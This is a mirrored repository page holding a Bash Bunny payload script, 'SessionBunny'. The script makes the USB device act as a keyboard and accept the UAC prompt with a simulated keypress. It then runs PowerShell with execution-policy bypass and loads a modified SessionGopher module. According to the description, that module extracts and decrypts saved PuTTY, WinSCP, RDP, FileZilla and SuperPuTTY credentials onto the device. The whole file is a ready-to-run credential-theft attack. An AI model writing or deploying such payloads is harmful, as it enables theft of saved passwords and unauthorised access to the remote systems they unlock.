mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
387a7fea51
Utilize SessionGopher (Slightly modified) to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Afterwards decide which is important and what you want to save onto your BashBunny.
44 lines
769 B
Bash
44 lines
769 B
Bash
#!/bin/bash
|
|
#
|
|
# Title: SessionBunny
|
|
# Author: 0iphor13
|
|
# Version: 1.0
|
|
# Category: Credentials
|
|
# Attackmodes: HID, Storage
|
|
|
|
LED SETUP
|
|
|
|
Q DELAY 500
|
|
|
|
GET SWITCH_POSITION
|
|
DUCKY_LANG de
|
|
|
|
Q DELAY 500
|
|
|
|
ATTACKMODE HID STORAGE
|
|
|
|
#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING
|
|
|
|
LED STAGE1
|
|
|
|
Q DELAY 1000
|
|
RUN WIN "powershell Start-Process powershell -Verb runAs"
|
|
Q ENTER
|
|
Q DELAY 1000
|
|
Q ALT j
|
|
Q DELAY 500
|
|
|
|
Q DELAY 1000
|
|
Q STRING "powershell -exec bypass"
|
|
Q DELAY 500
|
|
Q ENTER
|
|
Q DELAY 250
|
|
Q STRING "Import-Module((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\SessionBunny.ps1')"
|
|
Q DELAY 250
|
|
Q ENTER
|
|
Q DELAY 250
|
|
Q STRING "Invoke-SessionBunny -Everything"
|
|
Q DELAY 250
|
|
Q ENTER
|
|
|
|
LED FINISH |